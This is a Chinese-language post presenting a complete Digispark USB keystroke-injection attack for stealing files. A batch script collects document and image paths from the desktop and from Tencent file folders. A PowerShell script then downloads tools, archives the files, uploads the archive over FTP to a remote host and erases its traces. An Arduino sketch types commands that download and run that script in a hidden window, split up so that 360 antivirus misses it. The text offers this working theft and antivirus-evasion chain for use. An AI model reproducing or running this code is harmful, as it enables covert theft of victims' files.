【HID攻击】360免杀方法-digispark利用PowerShell脚本进行文件窃取

1dir /s /a /b "%userprofile%\desktop\*.txt">c:\temp.bat
2dir /s /a /b "%userprofile%\desktop\*.doc">>c:\temp.bat
3dir /s /a /b "%userprofile%\desktop\*.docx">>c:\temp.bat
4dir /s /a /b "%userprofile%\desktop\*.xls">>c:\temp.bat
5dir /s /a /b "%userprofile%\desktop\*.xlsx">>c:\temp.bat
6dir /s /a /b "%userprofile%\desktop\*.ppt">>c:\temp.bat
7dir /s /a /b "%userprofile%\desktop\*.xls">>c:\temp.bat
8dir /s /a /b "%userprofile%\desktop\*.eet">>c:\temp.bat
9dir /s /a /b "%userprofile%\desktop\*.et">>c:\temp.bat
10dir /s /a /b "%userprofile%\desktop\*.xlt">>c:\temp.bat
11dir /s /a /b "%userprofile%\desktop\*.pdf">>c:\temp.bat
12dir /s /a /b "%userprofile%\desktop\*.jpg">>c:\temp.bat
13dir /s /a /b "%userprofile%\desktop\*.jpeg">>c:\temp.bat
14dir /s /a /b "%userprofile%\desktop\*.png">>c:\temp.bat
15dir /s /a /b "%userprofile%\desktop\*.bmp">>c:\temp.bat
16dir /s /a /b "%userprofile%\desktop\*.gif">>c:\temp.bat
17dir /s /a /b "%userprofile%\desktop\*.rtf">>c:\temp.bat
18dir /s /a /b "%userprofile%\desktop\*.htl">>c:\temp.bat
19dir /s /a /b "%userprofile%\Documents\Tencent Files\*.txt">>c:\temp.bat
20dir /s /a /b "%userprofile%\Documents\Tencent Files\*.doc">>c:\temp.bat
21dir /s /a /b "%userprofile%\Documents\Tencent Files\*.docx">>c:\temp.bat
22dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xls">>c:\temp.bat
23dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xlsx">>c:\temp.bat
24dir /s /a /b "%userprofile%\Documents\Tencent Files\*.ppt">>c:\temp.bat
25dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xls">>c:\temp.bat
26dir /s /a /b "%userprofile%\Documents\Tencent Files\*.eet">>c:\temp.bat
27dir /s /a /b "%userprofile%\Documents\Tencent Files\*.et">>c:\temp.bat
28dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xlt">>c:\temp.bat
29dir /s /a /b "%userprofile%\Documents\Tencent Files\*.pdf">>c:\temp.bat
30dir /s /a /b "%userprofile%\Documents\Tencent Files\*.jpg">>c:\temp.bat
31dir /s /a /b "%userprofile%\Documents\Tencent Files\*.jpeg">>c:\temp.bat
32dir /s /a /b "%userprofile%\Documents\Tencent Files\*.png">>c:\temp.bat
33dir /s /a /b "%userprofile%\Documents\Tencent Files\*.bmp">>c:\temp.bat
34dir /s /a /b "%userprofile%\Documents\Tencent Files\*.gif">>c:\temp.bat
35dir /s /a /b "%userprofile%\Documents\Tencent Files\*.rtf">>c:\temp.bat
36dir /s /a /b "%userprofile%\Documents\Tencent Files\*.htl">>c:\temp.bat

1reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f;
2
3(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/7z.dll','c:\7z.dll');
4
5(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/7z.exe','c:\7z.exe');
6
7(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/get.bat','c:\Users\Public\get.bat');
8
9C:\Users\Public\get.bat;$array="";foreach($u in(get-content c:\temp.bat)){[array]$array +='c:\7z a -t7z c:\Ram.7z "'+$u+'"'};$array | Out-File -Encoding default c:\temp.bat;c:\temp.bat;
10
11$fileinf=New-Object System.Io.FileInfo("C:\Ram.7z");
12
13$ftp = [System.Net.FtpWebRequest] [System.Net.FtpWebRequest]::Create("ftp://192.168.1.1/"+$fileinf.name)
14
15$ftp.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile
16
17$ftp.Credentials = new-object System.Net.NetworkCredential("admin","admin")
18
19$ftp.UseBinary = $true
20
21$ftp.UsePassive = $true
22
23$content = [System.IO.File]::ReadAllBytes($fileInf.fullname)
24
25$ftp.ContentLength = $content.Length
26
27$rs = $ftp.GetRequestStream()
28
29$rs.Write($content, 0, $content.Length)
30
31$rs.Close()
32
33$rs.Dispose()
34
35Remove-Item c:\temp.bat
36
37Remove-Item c:\Ram.*
38
39Remove-Item c:\7z.*
40
41Remove-Item c:\Users\Public\get.*

1#include "DigiKeyboard.h"
2#define KEY_LEFT_SHIFT 0xE1
3#define KEY_LEFT_ALT 0xE1
4void setup() {
5DigiKeyboard.sendKeyStroke(0);
6DigiKeyboard.delay(5000);
7DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
8DigiKeyboard.delay(100);
9DigiKeyboard.sendKeyPress(KEY_LEFT_SHIFT);//按住左SHIFT，绕过输入法
10DigiKeyboard.println("POWERSHELL -NOP");
11DigiKeyboard.sendKeyPress(0);//松开
12DigiKeyboard.sendKeyStroke(KEY_ENTER);//按回车
13DigiKeyboard.delay(2000);
14DigiKeyboard.println("$clnt=new-object System.Net.WebClient;");//开始分part执行实现360免杀
15DigiKeyboard.println("$url='http://你上传的服务器域名/GET.ps1\';");
16DigiKeyboard.println("$file='C:\\USERS\\PUBLIC\\GET.PS1';");
17DigiKeyboard.println("$clnt.DownloadFile($url,$file);");
18DigiKeyboard.println("START-PROCESS POWERSHELL.exe \"C:\\USERS\\PUBLIC\\GET.PS1\" -WindowStyle Hidden");
19DigiKeyboard.println("exit");
20}
21
22void loop() {
23  DigiKeyboard.sendKeyPress(KEY_LEFT_ALT);
24  DigiKeyboard.sendKeyPress(KEY_LEFT_ALT);
25  DigiKeyboard.print("y");
26  DigiKeyboard.sendKeyPress(KEY_LEFT_ALT);
27  DigiKeyboard.sendKeyPress(KEY_LEFT_ALT);
28  DigiKeyboard.sendKeyPress(KEY_LEFT_ALT);
29  DigiKeyboard.sendKeyPress(KEY_LEFT_ALT);
30}